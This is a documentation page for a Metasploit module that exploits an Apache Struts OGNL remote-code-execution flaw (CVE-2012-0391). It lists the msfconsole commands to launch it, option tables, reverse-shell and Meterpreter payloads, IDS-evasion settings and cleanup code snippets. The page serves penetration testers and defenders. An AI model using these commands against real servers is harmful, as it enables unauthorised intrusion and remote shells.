Apache Struts Remote Command Execution - Metasploit
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Module Overview
Name: Apache Struts Remote Command Execution
Module: exploit/multi/http/struts_code_exec_exception_delegator
Source code: modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
Disclosure date: 2012-01-06
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-0391
This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.1.1. This issue is caused because the ExceptionDelegator interprets parameter values as OGNL expressions during certain exception handling for mismatched data types of properties, which allows remote attackers to execute arbitrary Java code via a crafted parameter.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/struts_code_exec_exception_delegator
msf exploit(struts_code_exec_exception_delegator) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/struts_code_exec_exception_delegator exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/struts_code_exec_exception_delegator
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show info
Name: Apache Struts Remote Command Execution
Module: exploit/multi/http/struts_code_exec_exception_delegator
Platform: Java, Linux, Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-01-06
Provided by:
Johannes Dahse
Andreas Nusser
juan vazquez <[email protected]>
sinn3r <[email protected]>
mihi
Available targets:
Id Name
-- ----
0 Windows Universal
1 Linux Universal
2 Java Universal
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no Execute this command instead of using command stager
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI yes The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.1.1. This issue is caused because the
ExceptionDelegator interprets parameter values as OGNL expressions
during certain exception handling for mismatched data types of
properties, which allows remote attackers to execute arbitrary Java
code via a crafted parameter.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-0391
OSVDB (78277)
https://www.exploit-db.com/exploits/18329
Module Options
This is a complete list of options available in the multi/http/struts_code_exec_exception_delegator exploit:
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show options
Module options (exploit/multi/http/struts_code_exec_exception_delegator):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no Execute this command instead of using command stager
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI yes The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 Java Universal
Advanced Options
Here is a complete list of advanced options supported by the multi/http/struts_code_exec_exception_delegator exploit:
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show advanced
Module advanced options (exploit/multi/http/struts_code_exec_exception_delegator):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, tftp)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/struts_code_exec_exception_delegator module can exploit:
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Universal
1 Linux Universal
2 Java Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts_code_exec_exception_delegator exploit:
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/struts_code_exec_exception_delegator exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/struts_code_exec_exception_delegator) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Please use a meterpreter payload in order to automatically cleanup.
Here is a relevant code snippet related to the "Please use a meterpreter payload in order to automatically cleanup." error message:
167: execute_command(cmd)
168: end
169:
170: def on_new_session(client)
171: if client.type != "meterpreter"
172: print_error("Please use a meterpreter payload in order to automatically cleanup.")
173: print_error("The #{@payload_exe} file must be removed manually.")
174: return
175: end
176:
177: client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
The <PAYLOAD_EXE> file must be removed manually.
Here is a relevant code snippet related to the "The <PAYLOAD_EXE> file must be removed manually." error message:
168: end
169:
170: def on_new_session(client)
171: if client.type != "meterpreter"
172: print_error("Please use a meterpreter payload in order to automatically cleanup.")
173: print_error("The #{@payload_exe} file must be removed manually.")
174: return
175: end
176:
177: client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
178:
Windows does not allow running executables to be deleted
Here is a relevant code snippet related to the "Windows does not allow running executables to be deleted" error message:
175: end
176:
177: client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
178:
179: if client.sys.config.sysinfo["OS"] =~ /Windows/
180: print_error("Windows does not allow running executables to be deleted")
181: print_error("The #{@payload_exe} file must be removed manually after migrating")
182: return
183: end
184:
185: print_warning("Deleting the #{@payload_exe} file")
The <PAYLOAD_EXE> file must be removed manually after migrating
Here is a relevant code snippet related to the "The <PAYLOAD_EXE> file must be removed manually after migrating" error message:
176:
177: client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
178:
179: if client.sys.config.sysinfo["OS"] =~ /Windows/
180: print_error("Windows does not allow running executables to be deleted")
181: print_error("The #{@payload_exe} file must be removed manually after migrating")
182: return
183: end
184:
185: print_warning("Deleting the #{@payload_exe} file")
186: client.fs.file.rm(@payload_exe)
Deleting the <PAYLOAD_EXE> file
Here is a relevant code snippet related to the "Deleting the <PAYLOAD_EXE> file" error message:
180: print_error("Windows does not allow running executables to be deleted")
181: print_error("The #{@payload_exe} file must be removed manually after migrating")
182: return
183: end
184:
185: print_warning("Deleting the #{@payload_exe} file")
186: client.fs.file.rm(@payload_exe)
187: end
188:
189: def exploit
190: unless datastore['CMD'].blank?
Unsupported target platform!
Here is a relevant code snippet related to the "Unsupported target platform!" error message:
199: when 'win'
200: windows_stager
201: when 'java'
202: java_stager
203: else
204: fail_with(Failure::NoTarget, 'Unsupported target platform!')
205: end
206:
207: handler
208: end
209: end
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- #960 Merged Pull Request: Use print_warnings
- #951 Merged Pull Request: Infohash cleanups
References
- CVE-2012-0391
- OSVDB (78277)
- EDB-18329
See Also
Check also the following modules related to this module:
- exploit/multi/http/struts_code_exec
- exploit/multi/http/struts_code_exec_classloader
- exploit/multi/http/struts_code_exec_parameters
- exploit/multi/http/struts_default_action_mapper
- exploit/multi/http/struts_dev_mode
- exploit/multi/http/struts_dmi_exec
- exploit/multi/http/struts_dmi_rest_exec
- exploit/multi/http/struts_include_params
- exploit/multi/http/struts2_code_exec_showcase
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_multi_eval_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/multi/http/struts2_rest_xstream
- exploit/multi/http/eaton_nsm_code_exec
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/nostromo_code_exec
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/http/rails_xml_yaml_code_exec
- exploit/multi/fileformat/nodejs_js_yaml_load_code_exec
- exploit/multi/php/wp_duplicator_code_inject
Related Nessus plugins:
- Apache Struts 2.x < 2.2.1 OGNL RCE (S2-005)
- Apache Struts 2 / XWork Remote Code Execution (safe check)
- Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
Authors
- Johannes Dahse
- Andreas Nusser
- juan vazquez
- sinn3r
- mihi
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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